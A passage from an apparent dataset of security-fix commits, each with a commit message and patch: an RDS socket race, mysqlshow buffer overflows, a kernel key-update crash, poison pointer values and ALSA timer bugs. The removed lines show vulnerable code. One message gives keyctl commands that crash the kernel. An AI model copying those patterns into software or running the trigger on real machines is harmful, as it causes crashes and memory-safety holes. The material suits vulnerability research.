token_buffer);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_context_time(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ OM_uint32 *time_rec);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_inquire_context(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, gss_name_t *src_name,\n+ gss_name_t *targ_name, OM_uint32 *lifetime_rec,\n+ gss_OID *mech_type, OM_uint32 *ctx_flags,\n+ int *locally_initiated, int *opened);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t qop_req, gss_buffer_t message_buffer,\n+ gss_buffer_t message_token);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t qop_req, gss_iov_buffer_desc *iov,\n+ int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_get_mic_iov_length(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, gss_qop_t qop_req,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_verify_mic(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_buffer_t msg_buffer, gss_buffer_t token_buffer,\n+ gss_qop_t *qop_state);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_verify_mic_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_qop_t *qop_state, gss_iov_buffer_desc *iov,\n+ int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int conf_req_flag, gss_qop_t qop_req,\n+ gss_buffer_t input_message_buffer, int *conf_state,\n+ gss_buffer_t output_message_buffer);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int conf_req_flag, gss_qop_t qop_req, int *conf_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_iov_length(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, int conf_req_flag,\n+ gss_qop_t qop_req, int *conf_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_unwrap(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ gss_buffer_t input_message_buffer,\n+ gss_buffer_t output_message_buffer, int *conf_state,\n+ gss_qop_t *qop_state);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_unwrap_iov(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int *conf_state, gss_qop_t *qop_state,\n+ gss_iov_buffer_desc *iov, int iov_count);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_wrap_size_limit(OM_uint32 *minor_status,\n+ gss_ctx_id_t context_handle, int conf_req_flag,\n+ gss_qop_t qop_req, OM_uint32 req_output_size,\n+ OM_uint32 *max_input_size);\n+\n+#ifndef LEAN_CLIENT\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_export_sec_context(OM_uint32 *minor_status,\n+ gss_ctx_id_t *context_handle,\n+ gss_buffer_t interprocess_token);\n+#endif /* LEAN_CLIENT */\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_inquire_sec_context_by_oid(OM_uint32 *minor_status,\n+ const gss_ctx_id_t context_handle,\n+ const gss_OID desired_object,\n+ gss_buffer_set_t *data_set);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_set_sec_context_option(OM_uint32 *minor_status,\n+ gss_ctx_id_t *context_handle,\n+ const gss_OID desired_object,\n+ const gss_buffer_t value);\n+\n+OM_uint32 KRB5_CALLCONV\n+iakerb_gss_pseudo_random(OM_uint32 *minor_status, gss_ctx_id_t context_handle,\n+ int prf_key, const gss_buffer_t prf_in,\n+ ssize_t desired_output_len, gss_buffer_t prf_out);\n+\n /* Magic string to identify exported krb5 GSS credentials. Increment this if\n * the format changes. */\n #define CRED_EXPORT_MAGIC \"K5C1\"", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/rds/send.c", "commit_id": "8c7188b23474cca017b3ef354c4a58456f68303a", "commit_message": "RDS: fix race condition when sending a message on unbound socket\n\nSasha's found a NULL pointer dereference in the RDS connection code when\nsending a message to an apparently unbound socket. The problem is caused\nby the code checking if the socket is bound in rds_sendmsg(), which checks\nthe rs_bound_addr field without taking a lock on the socket. This opens a\nrace where rs_bound_addr is temporarily set but where the transport is not\nin rds_bind(), leading to a NULL pointer dereference when trying to\ndereference 'trans' in __rds_conn_create().\n\nVegard wrote a reproducer for this issue, so kindly ask him to share if\nyou're interested.\n\nI cannot reproduce the NULL pointer dereference using Vegard's reproducer\nwith this patch, whereas I could without.\n\nComplete earlier incomplete fix to CVE-2015-6937:\n\n 74e98eb08588 (\"RDS: verify the underlying transport exists before creating a connection\")\n\nCc: David S. Miller \nCc: stable@vger.kernel.org\n\nReviewed-by: Vegard Nossum \nReviewed-by: Sasha Levin \nAcked-by: Santosh Shilimkar \nSigned-off-by: Quentin Casasnovas \nSigned-off-by: David S. Miller ", "patch": "@@ -1013,11 +1013,13 @@ int rds_sendmsg(struct socket *sock, struct msghdr *msg, size_t payload_len)\n \t\trelease_sock(sk);\n \t}\n \n-\t/* racing with another thread binding seems ok here */\n+\tlock_sock(sk);\n \tif (daddr == 0 || rs->rs_bound_addr == 0) {\n+\t\trelease_sock(sk);\n \t\tret = -ENOTCONN; /* XXX not a great errno */\n \t\tgoto out;\n \t}\n+\trelease_sock(sk);\n \n \tif (payload_len > rds_sk_sndbuf(rs)) {\n \t\tret = -EMSGSIZE;", "sections": [{"section": "@@ -1013,11 +1013,13 @@ int rds_sendmsg(struct socket *sock, struct msghdr *msg, size_t payload_len)\n \t\trelease_sock(sk);\n \t}\n \n-\t/* racing with another thread binding seems ok here */\n+\tlock_sock(sk);\n \tif (daddr == 0 || rs->rs_bound_addr == 0) {\n+\t\trelease_sock(sk);\n \t\tret = -ENOTCONN; /* XXX not a great errno */\n \t\tgoto out;\n \t}\n+\trelease_sock(sk);\n \n \tif (payload_len > rds_sk_sndbuf(rs)) {\n \t\tret = -EMSGSIZE;", "related": false}]} +{"owner": "mysql", "repo": "mysql-server", "language": "C", "file_name": "client/mysqlshow.c", "commit_id": "0dbd5a8797ed4bd18e8b883988fb62177eb0f73f", "commit_message": "Bug#21973610: BUFFER OVERFLOW ISSUES\n\nDescription : Incorrect usage of sprintf/strcpy caused\n possible buffer overflow issues at various\n places.\n\nSolution : - Fixed mysql_plugin and mysqlshow\n - Fixed regex library issues\n\nReviewed-By : Georgi Kodinov \nReviewed-By : Venkata S Murthy Sidagam ", "patch": "@@ -377,7 +377,7 @@ list_dbs(MYSQL *mysql,const char *wild)\n uint length, counter = 0;\n ulong rowcount = 0L;\n char tables[NAME_LEN+1], rows[NAME_LEN+1];\n- char query[255];\n+ char query[NAME_LEN + 100];\n MYSQL_FIELD *field;\n MYSQL_RES *result;\n MYSQL_ROW row= NULL, rrow;\n@@ -444,7 +444,8 @@ list_dbs(MYSQL *mysql,const char *wild)\n MYSQL_ROW trow;\n \t while ((trow = mysql_fetch_row(tresult)))\n \t {\n-\t sprintf(query,\"SELECT COUNT(*) FROM `%s`\",trow[0]);\n+ my_snprintf(query, sizeof(query),\n+ \"SELECT COUNT(*) FROM `%s`\", trow[0]);\n \t if (!(mysql_query(mysql,query)))\n \t {\n \t\tMYSQL_RES *rresult;\n@@ -500,7 +501,7 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n {\n const char *header;\n uint head_length, counter = 0;\n- char query[255], rows[NAME_LEN], fields[16];\n+ char query[NAME_LEN + 100], rows[NAME_LEN], fields[16];\n MYSQL_FIELD *field;\n MYSQL_RES *result;\n MYSQL_ROW row, rrow;\n@@ -585,7 +586,8 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n \t if (opt_verbose > 1)\n \t {\n /* Print the count of rows for each table */\n-\t sprintf(query,\"SELECT COUNT(*) FROM `%s`\",row[0]);\n+ my_snprintf(query, sizeof(query), \"SELECT COUNT(*) FROM `%s`\",\n+ row[0]);\n \t if (!(mysql_query(mysql,query)))\n \t {\n \t if ((rresult = mysql_store_result(mysql)))\n@@ -645,13 +647,15 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n static int\n list_table_status(MYSQL *mysql,const char *db,const char *wild)\n {\n- char query[1024],*end;\n+ char query[NAME_LEN + 100];\n+ int len;\n MYSQL_RES *result;\n MYSQL_ROW row;\n \n- end=strxmov(query,\"show table status from `\",db,\"`\",NullS);\n- if (wild && wild[0])\n- strxmov(end,\" like '\",wild,\"'\",NullS);\n+ len= sizeof(query);\n+ len-= my_snprintf(query, len, \"show table status from `%s`\", db);\n+ if (wild && wild[0] && len)\n+ strxnmov(query + strlen(query), len, \" like '\", wild, \"'\", NullS);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot get status for db: %s, table: %s: %s\\n\",\n@@ -683,7 +687,8 @@ static int\n list_fields(MYSQL *mysql,const char *db,const char *table,\n \t const char *wild)\n {\n- char query[1024],*end;\n+ char query[NAME_LEN + 100];\n+ int len;\n MYSQL_RES *result;\n MYSQL_ROW row;\n ulong UNINIT_VAR(rows);\n@@ -697,7 +702,7 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n \n if (opt_count)\n {\n- sprintf(query,\"select count(*) from `%s`\", table);\n+ my_snprintf(query, sizeof(query), \"select count(*) from `%s`\", table);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot get record count for db: %s, table: %s: %s\\n\",\n@@ -709,9 +714,11 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n mysql_free_result(result);\n }\n \n- end=strmov(strmov(strmov(query,\"show /*!32332 FULL */ columns from `\"),table),\"`\");\n- if (wild && wild[0])\n- strxmov(end,\" like '\",wild,\"'\",NullS);\n+ len= sizeof(query);\n+ len-= my_snprintf(query, len, \"show /*!32332 FULL */ columns from `%s`\",\n+ table);\n+ if (wild && wild[0] && len)\n+ strxnmov(query + strlen(query), len, \" like '\", wild, \"'\", NullS);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot list columns in db: %s, table: %s: %s\\n\",\n@@ -732,7 +739,7 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n print_res_top(result);\n if (opt_show_keys)\n {\n- end=strmov(strmov(strmov(query,\"show keys from `\"),table),\"`\");\n+ my_snprintf(query, sizeof(query), \"show keys from `%s`\", table);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot list keys in db: %s, table: %s: %s\\n\",", "sections": [{"section": "@@ -377,7 +377,7 @@ list_dbs(MYSQL *mysql,const char *wild)\n uint length, counter = 0;\n ulong rowcount = 0L;\n char tables[NAME_LEN+1], rows[NAME_LEN+1];\n- char query[255];\n+ char query[NAME_LEN + 100];\n MYSQL_FIELD *field;\n MYSQL_RES *result;\n MYSQL_ROW row= NULL, rrow;\n", "related": false}, {"section": "@@ -444,7 +444,8 @@ list_dbs(MYSQL *mysql,const char *wild)\n MYSQL_ROW trow;\n \t while ((trow = mysql_fetch_row(tresult)))\n \t {\n-\t sprintf(query,\"SELECT COUNT(*) FROM `%s`\",trow[0]);\n+ my_snprintf(query, sizeof(query),\n+ \"SELECT COUNT(*) FROM `%s`\", trow[0]);\n \t if (!(mysql_query(mysql,query)))\n \t {\n \t\tMYSQL_RES *rresult;\n", "related": false}, {"section": "@@ -500,7 +501,7 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n {\n const char *header;\n uint head_length, counter = 0;\n- char query[255], rows[NAME_LEN], fields[16];\n+ char query[NAME_LEN + 100], rows[NAME_LEN], fields[16];\n MYSQL_FIELD *field;\n MYSQL_RES *result;\n MYSQL_ROW row, rrow;\n", "related": false}, {"section": "@@ -585,7 +586,8 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n \t if (opt_verbose > 1)\n \t {\n /* Print the count of rows for each table */\n-\t sprintf(query,\"SELECT COUNT(*) FROM `%s`\",row[0]);\n+ my_snprintf(query, sizeof(query), \"SELECT COUNT(*) FROM `%s`\",\n+ row[0]);\n \t if (!(mysql_query(mysql,query)))\n \t {\n \t if ((rresult = mysql_store_result(mysql)))\n", "related": false}, {"section": "@@ -645,13 +647,15 @@ list_tables(MYSQL *mysql,const char *db,const char *table)\n static int\n list_table_status(MYSQL *mysql,const char *db,const char *wild)\n {\n- char query[1024],*end;\n+ char query[NAME_LEN + 100];\n+ int len;\n MYSQL_RES *result;\n MYSQL_ROW row;\n \n- end=strxmov(query,\"show table status from `\",db,\"`\",NullS);\n- if (wild && wild[0])\n- strxmov(end,\" like '\",wild,\"'\",NullS);\n+ len= sizeof(query);\n+ len-= my_snprintf(query, len, \"show table status from `%s`\", db);\n+ if (wild && wild[0] && len)\n+ strxnmov(query + strlen(query), len, \" like '\", wild, \"'\", NullS);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot get status for db: %s, table: %s: %s\\n\",\n", "related": false}, {"section": "@@ -683,7 +687,8 @@ static int\n list_fields(MYSQL *mysql,const char *db,const char *table,\n \t const char *wild)\n {\n- char query[1024],*end;\n+ char query[NAME_LEN + 100];\n+ int len;\n MYSQL_RES *result;\n MYSQL_ROW row;\n ulong UNINIT_VAR(rows);\n", "related": false}, {"section": "@@ -697,7 +702,7 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n \n if (opt_count)\n {\n- sprintf(query,\"select count(*) from `%s`\", table);\n+ my_snprintf(query, sizeof(query), \"select count(*) from `%s`\", table);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot get record count for db: %s, table: %s: %s\\n\",\n", "related": false}, {"section": "@@ -709,9 +714,11 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n mysql_free_result(result);\n }\n \n- end=strmov(strmov(strmov(query,\"show /*!32332 FULL */ columns from `\"),table),\"`\");\n- if (wild && wild[0])\n- strxmov(end,\" like '\",wild,\"'\",NullS);\n+ len= sizeof(query);\n+ len-= my_snprintf(query, len, \"show /*!32332 FULL */ columns from `%s`\",\n+ table);\n+ if (wild && wild[0] && len)\n+ strxnmov(query + strlen(query), len, \" like '\", wild, \"'\", NullS);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot list columns in db: %s, table: %s: %s\\n\",\n", "related": false}, {"section": "@@ -732,7 +739,7 @@ list_fields(MYSQL *mysql,const char *db,const char *table,\n print_res_top(result);\n if (opt_show_keys)\n {\n- end=strmov(strmov(strmov(query,\"show keys from `\"),table),\"`\");\n+ my_snprintf(query, sizeof(query), \"show keys from `%s`\", table);\n if (mysql_query(mysql,query) || !(result=mysql_store_result(mysql)))\n {\n fprintf(stderr,\"%s: Cannot list keys in db: %s, table: %s: %s\\n\",", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "security/keys/encrypted-keys/encrypted.c", "commit_id": "096fe9eaea40a17e125569f9e657e34cdb6d73bd", "commit_message": "KEYS: Fix handling of stored error in a negatively instantiated user key\n\nIf a user key gets negatively instantiated, an error code is cached in the\npayload area. A negatively instantiated key may be then be positively\ninstantiated by updating it with valid data. However, the ->update key\ntype method must be aware that the error code may be there.\n\nThe following may be used to trigger the bug in the user key type:\n\n keyctl request2 user user \"\" @u\n keyctl add user user \"a\" @u\n\nwhich manifests itself as:\n\n\tBUG: unable to handle kernel paging request at 00000000ffffff8a\n\tIP: [] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046\n\tPGD 7cc30067 PUD 0\n\tOops: 0002 [#1] SMP\n\tModules linked in:\n\tCPU: 3 PID: 2644 Comm: a.out Not tainted 4.3.0+ #49\n\tHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011\n\ttask: ffff88003ddea700 ti: ffff88003dd88000 task.ti: ffff88003dd88000\n\tRIP: 0010:[] [] __call_rcu.constprop.76+0x1f/0x280\n\t [] __call_rcu.constprop.76+0x1f/0x280 kernel/rcu/tree.c:3046\n\tRSP: 0018:ffff88003dd8bdb0 EFLAGS: 00010246\n\tRAX: 00000000ffffff82 RBX: 0000000000000000 RCX: 0000000000000001\n\tRDX: ffffffff81e3fe40 RSI: 0000000000000000 RDI: 00000000ffffff82\n\tRBP: ffff88003dd8bde0 R08: ffff88007d2d2da0 R09: 0000000000000000\n\tR10: 0000000000000000 R11: ffff88003e8073c0 R12: 00000000ffffff82\n\tR13: ffff88003dd8be68 R14: ffff88007d027600 R15: ffff88003ddea700\n\tFS: 0000000000b92880(0063) GS:ffff88007fd00000(0000) knlGS:0000000000000000\n\tCS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b\n\tCR2: 00000000ffffff8a CR3: 000000007cc5f000 CR4: 00000000000006e0\n\tStack:\n\t ffff88003dd8bdf0 ffffffff81160a8a 0000000000000000 00000000ffffff82\n\t ffff88003dd8be68 ffff88007d027600 ffff88003dd8bdf0 ffffffff810a39e5\n\t ffff88003dd8be20 ffffffff812a31ab ffff88007d027600 ffff88007d027620\n\tCall Trace:\n\t [] kfree_call_rcu+0x15/0x20 kernel/rcu/tree.c:3136\n\t [] user_update+0x8b/0xb0 security/keys/user_defined.c:129\n\t [< inline >] __key_update security/keys/key.c:730\n\t [] key_create_or_update+0x291/0x440 security/keys/key.c:908\n\t [< inline >] SYSC_add_key security/keys/keyctl.c:125\n\t [] SyS_add_key+0x101/0x1e0 security/keys/keyctl.c:60\n\t [] entry_SYSCALL_64_fastpath+0x12/0x6a arch/x86/entry/entry_64.S:185\n\nNote the error code (-ENOKEY) in EDX.\n\nA similar bug can be tripped by:\n\n keyctl request2 trusted user \"\" @u\n keyctl add trusted user \"a\" @u\n\nThis should also affect encrypted keys - but that has to be correctly\nparameterised or it will fail with EINVAL before getting to the bit that\nwill crashes.\n\nReported-by: Dmitry Vyukov \nSigned-off-by: David Howells \nAcked-by: Mimi Zohar \nSigned-off-by: James Morris ", "patch": "@@ -845,6 +845,8 @@ static int encrypted_update(struct key *key, struct key_preparsed_payload *prep)\n \tsize_t datalen = prep->datalen;\n \tint ret = 0;\n \n+\tif (test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\t\treturn -ENOKEY;\n \tif (datalen <= 0 || datalen > 32767 || !prep->data)\n \t\treturn -EINVAL;\n ", "sections": [{"section": "@@ -845,6 +845,8 @@ static int encrypted_update(struct key *key, struct key_preparsed_payload *prep)\n \tsize_t datalen = prep->datalen;\n \tint ret = 0;\n \n+\tif (test_bit(KEY_FLAG_NEGATIVE, &key->flags))\n+\t\treturn -ENOKEY;\n \tif (datalen <= 0 || datalen > 32767 || !prep->data)\n \t\treturn -EINVAL;\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "include/linux/poison.h", "commit_id": "8a5e5e02fc83aaf67053ab53b359af08c6c49aaf", "commit_message": "include/linux/poison.h: fix LIST_POISON{1,2} offset\n\nPoison pointer values should be small enough to find a room in\nnon-mmap'able/hardly-mmap'able space. E.g. on x86 \"poison pointer space\"\nis located starting from 0x0. Given unprivileged users cannot mmap\nanything below mmap_min_addr, it should be safe to use poison pointers\nlower than mmap_min_addr.\n\nThe current poison pointer values of LIST_POISON{1,2} might be too big for\nmmap_min_addr values equal or less than 1 MB (common case, e.g. Ubuntu\nuses only 0x10000). There is little point to use such a big value given\nthe \"poison pointer space\" below 1 MB is not yet exhausted. Changing it\nto a smaller value solves the problem for small mmap_min_addr setups.\n\nThe values are suggested by Solar Designer:\nhttp://www.openwall.com/lists/oss-security/2015/05/02/6\n\nSigned-off-by: Vasily Kulikov \nCc: Solar Designer \nCc: Thomas Gleixner \nCc: \"Kirill A. Shutemov\" \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds ", "patch": "@@ -19,8 +19,8 @@\n * under normal circumstances, used to verify that nobody uses\n * non-initialized list entries.\n */\n-#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA)\n-#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA)\n+#define LIST_POISON1 ((void *) 0x100 + POISON_POINTER_DELTA)\n+#define LIST_POISON2 ((void *) 0x200 + POISON_POINTER_DELTA)\n \n /********** include/linux/timer.h **********/\n /*", "sections": [{"section": "@@ -19,8 +19,8 @@\n * under normal circumstances, used to verify that nobody uses\n * non-initialized list entries.\n */\n-#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA)\n-#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA)\n+#define LIST_POISON1 ((void *) 0x100 + POISON_POINTER_DELTA)\n+#define LIST_POISON2 ((void *) 0x200 + POISON_POINTER_DELTA)\n \n /********** include/linux/timer.h **********/\n /*", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/hrtimer.c", "commit_id": "2ba1fe7a06d3624f9a7586d672b55f08f7c670f3", "commit_message": "ALSA: hrtimer: Fix stall by hrtimer_cancel()\n\nhrtimer_cancel() waits for the completion from the callback, thus it\nmust not be called inside the callback itself. This was already a\nproblem in the past with ALSA hrtimer driver, and the early commit\n[fcfdebe70759: ALSA: hrtimer - Fix lock-up] tried to address it.\n\nHowever, the previous fix is still insufficient: it may still cause a\nlockup when the ALSA timer instance reprograms itself in its callback.\nThen it invokes the start function even in snd_timer_interrupt() that\nis called in hrtimer callback itself, results in a CPU stall. This is\nno hypothetical problem but actually triggered by syzkaller fuzzer.\n\nThis patch tries to fix the issue again. Now we call\nhrtimer_try_to_cancel() at both start and stop functions so that it\nwon't fall into a deadlock, yet giving some chance to cancel the queue\nif the functions have been called outside the callback. The proper\nhrtimer_cancel() is called in anyway at closing, so this should be\nenough.\n\nReported-and-tested-by: Dmitry Vyukov \nCc: \nSigned-off-by: Takashi Iwai ", "patch": "@@ -90,7 +90,7 @@ static int snd_hrtimer_start(struct snd_timer *t)\n \tstruct snd_hrtimer *stime = t->private_data;\n \n \tatomic_set(&stime->running, 0);\n-\thrtimer_cancel(&stime->hrt);\n+\thrtimer_try_to_cancel(&stime->hrt);\n \thrtimer_start(&stime->hrt, ns_to_ktime(t->sticks * resolution),\n \t\t HRTIMER_MODE_REL);\n \tatomic_set(&stime->running, 1);\n@@ -101,6 +101,7 @@ static int snd_hrtimer_stop(struct snd_timer *t)\n {\n \tstruct snd_hrtimer *stime = t->private_data;\n \tatomic_set(&stime->running, 0);\n+\thrtimer_try_to_cancel(&stime->hrt);\n \treturn 0;\n }\n ", "sections": [{"section": "@@ -90,7 +90,7 @@ static int snd_hrtimer_start(struct snd_timer *t)\n \tstruct snd_hrtimer *stime = t->private_data;\n \n \tatomic_set(&stime->running, 0);\n-\thrtimer_cancel(&stime->hrt);\n+\thrtimer_try_to_cancel(&stime->hrt);\n \thrtimer_start(&stime->hrt, ns_to_ktime(t->sticks * resolution),\n \t\t HRTIMER_MODE_REL);\n \tatomic_set(&stime->running, 1);\n", "related": false}, {"section": "@@ -101,6 +101,7 @@ static int snd_hrtimer_stop(struct snd_timer *t)\n {\n \tstruct snd_hrtimer *stime = t->private_data;\n \tatomic_set(&stime->running, 0);\n+\thrtimer_try_to_cancel(&stime->hrt);\n \treturn 0;\n }\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/timer.c", "commit_id": "b5a663aa426f4884c71cd8580adae73f33570f0d", "commit_message": "ALSA: timer: Harden slave timer list handling\n\nA slave timer instance might be still accessible in a racy way while\noperating the master instance as it lacks of locking. Since the\nmaster operation is mostly protected with timer->lock, we should cope\nwith it while changing the slave instance, too. Also, some linked\nlists (active_list and ack_list) of slave instances aren't unlinked\nimmediately at stopping or closing, and this may lead to unexpected\naccesses.\n\nThis patch tries to address these issues. It adds spin lock of\ntimer->lock (either from master or slave, which is equivalent) in a\nfew places. For avoiding a deadlock, we ensure that the global\nslave_active_lock is always locked at first before each timer lock.\n\nAlso, ack and active_list of slave instances are properly unlinked at\nsnd_timer_stop() and snd_timer_close().\n\nLast but not least, remove the superfluous call of _snd_timer_stop()\nat removing slave links. This is a noop, and calling it may confuse\nreaders wrt locking. Further cleanup will follow in a later patch.\n\nActually we've got reports of use-after-free by syzkaller fuzzer, and\nthis hopefully fixes these issues.\n\nReported-by: Dmitry Vyukov \nCc: \nSigned-off-by: Takashi Iwai ", "patch": "@@ -215,11 +215,13 @@ static void snd_timer_check_master(struct snd_timer_instance *master)\n \t\t slave->slave_id == master->slave_id) {\n \t\t\tlist_move_tail(&slave->open_list, &master->slave_list_head);\n \t\t\tspin_lock_irq(&slave_active_lock);\n+\t\t\tspin_lock(&master->timer->lock);\n \t\t\tslave->master = master;\n \t\t\tslave->timer = master->timer;\n \t\t\tif (slave->flags & SNDRV_TIMER_IFLG_RUNNING)\n \t\t\t\tlist_add_tail(&slave->active_list,\n \t\t\t\t\t &master->slave_active_head);\n+\t\t\tspin_unlock(&master->timer->lock);\n \t\t\tspin_unlock_irq(&slave_active_lock);\n \t\t}\n \t}\n@@ -346,15 +348,18 @@ int snd_timer_close(struct snd_timer_instance *timeri)\n \t\t timer->hw.close)\n \t\t\ttimer->hw.close(timer);\n \t\t/* remove slave links */\n+\t\tspin_lock_irq(&slave_active_lock);\n+\t\tspin_lock(&timer->lock);\n \t\tlist_for_each_entry_safe(slave, tmp, &timeri->slave_list_head,\n \t\t\t\t\t open_list) {\n-\t\t\tspin_lock_irq(&slave_active_lock);\n-\t\t\t_snd_timer_stop(slave, 1, SNDRV_TIMER_EVENT_RESOLUTION);\n \t\t\tlist_move_tail(&slave->open_list, &snd_timer_slave_list);\n \t\t\tslave->master = NULL;\n \t\t\tslave->timer = NULL;\n-\t\t\tspin_unlock_irq(&slave_active_lock);\n+\t\t\tlist_del_init(&slave->ack_list);\n+\t\t\tlist_del_init(&slave->active_list);\n \t\t}\n+\t\tspin_unlock(&timer->lock);\n+\t\tspin_unlock_irq(&slave_active_lock);\n \t\tmutex_unlock(®ister_mutex);\n \t}\n out:\n@@ -441,9 +446,12 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri)\n \n \tspin_lock_irqsave(&slave_active_lock, flags);\n \ttimeri->flags |= SNDRV_TIMER_IFLG_RUNNING;\n-\tif (timeri->master)\n+\tif (timeri->master && timeri->timer) {\n+\t\tspin_lock(&timeri->timer->lock);\n \t\tlist_add_tail(&timeri->active_list,\n \t\t\t &timeri->master->slave_active_head);\n+\t\tspin_unlock(&timeri->timer->lock);\n+\t}\n \tspin_unlock_irqrestore(&slave_active_lock, flags);\n \treturn 1; /* delayed start */\n }\n@@ -489,6 +497,8 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri,\n \t\tif (!keep_flag) {\n \t\t\tspin_lock_irqsave(&slave_active_lock, flags);\n \t\t\ttimeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING;\n+\t\t\tlist_del_init(&timeri->ack_list);\n+\t\t\tlist_del_init(&timeri->active_list);\n \t\t\tspin_unlock_irqrestore(&slave_active_lock, flags);\n \t\t}\n \t\tgoto __end;", "sections": [{"section": "@@ -215,11 +215,13 @@ static void snd_timer_check_master(struct snd_timer_instance *master)\n \t\t slave->slave_id == master->slave_id) {\n \t\t\tlist_move_tail(&slave->open_list, &master->slave_list_head);\n \t\t\tspin_lock_irq(&slave_active_lock);\n+\t\t\tspin_lock(&master->timer->lock);\n \t\t\tslave->master = master;\n \t\t\tslave->timer = master->timer;\n \t\t\tif (slave->flags & SNDRV_TIMER_IFLG_RUNNING)\n \t\t\t\tlist_add_tail(&slave->active_list,\n \t\t\t\t\t &master->slave_active_head);\n+\t\t\tspin_unlock(&master->timer->lock);\n \t\t\tspin_unlock_irq(&slave_active_lock);\n \t\t}\n \t}\n", "related": false}, {"section": "@@ -346,15 +348,18 @@ int snd_timer_close(struct snd_timer_instance *timeri)\n \t\t timer->hw.close)\n \t\t\ttimer->hw.close(timer);\n \t\t/* remove slave links */\n+\t\tspin_lock_irq(&slave_active_lock);\n+\t\tspin_lock(&timer->lock);\n \t\tlist_for_each_entry_safe(slave, tmp, &timeri->slave_list_head,\n \t\t\t\t\t open_list) {\n-\t\t\tspin_lock_irq(&slave_active_lock);\n-\t\t\t_snd_timer_stop(slave, 1, SNDRV_TIMER_EVENT_RESOLUTION);\n \t\t\tlist_move_tail(&slave->open_list, &snd_timer_slave_list);\n \t\t\tslave->master = NULL;\n \t\t\tslave->timer = NULL;\n-\t\t\tspin_unlock_irq(&slave_active_lock);\n+\t\t\tlist_del_init(&slave->ack_list);\n+\t\t\tlist_del_init(&slave->active_list);\n \t\t}\n+\t\tspin_unlock(&timer->lock);\n+\t\tspin_unlock_irq(&slave_active_lock);\n \t\tmutex_unlock(®ister_mutex);\n \t}\n out:\n", "related": false}, {"section": "@@ -441,9 +446,12 @@ static int snd_timer_start_slave(struct snd_timer_instance *timeri)\n \n \tspin_lock_irqsave(&slave_active_lock, flags);\n \ttimeri->flags |= SNDRV_TIMER_IFLG_RUNNING;\n-\tif (timeri->master)\n+\tif (timeri->master && timeri->timer) {\n+\t\tspin_lock(&timeri->timer->lock);\n \t\tlist_add_tail(&timeri->active_list,\n \t\t\t 